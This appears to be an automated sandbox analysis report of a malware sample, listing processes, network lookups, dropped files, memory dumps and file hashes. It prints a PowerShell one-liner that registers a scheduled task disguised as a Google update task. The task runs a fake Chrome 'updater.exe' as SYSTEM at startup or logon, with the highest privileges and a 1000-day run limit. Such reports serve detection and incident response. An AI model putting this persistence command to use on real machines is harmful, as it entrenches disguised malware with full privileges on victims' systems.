C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ljqsmfm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"

C:\Program Files\Google\Chrome\updater.exe

"C:\Program Files\Google\Chrome\updater.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp

Files

memory/5084-0-0x00007FF783AC0000-0x00007FF787350000-memory.dmp

memory/2176-1-0x00007FFB98203000-0x00007FFB98205000-memory.dmp

memory/2176-7-0x00000199A8820000-0x00000199A8842000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2txoopga.5n4.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2176-12-0x00007FFB98200000-0x00007FFB98CC1000-memory.dmp

memory/2176-13-0x00007FFB98200000-0x00007FFB98CC1000-memory.dmp

memory/2176-16-0x00007FFB98200000-0x00007FFB98CC1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d42b6da621e8df5674e26b799c8e2aa
SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

memory/5084-30-0x00007FF783AC0000-0x00007FF787350000-memory.dmp

memory/416-32-0x00007FF7BA4D0000-0x00007FF7BDD60000-memory.dmp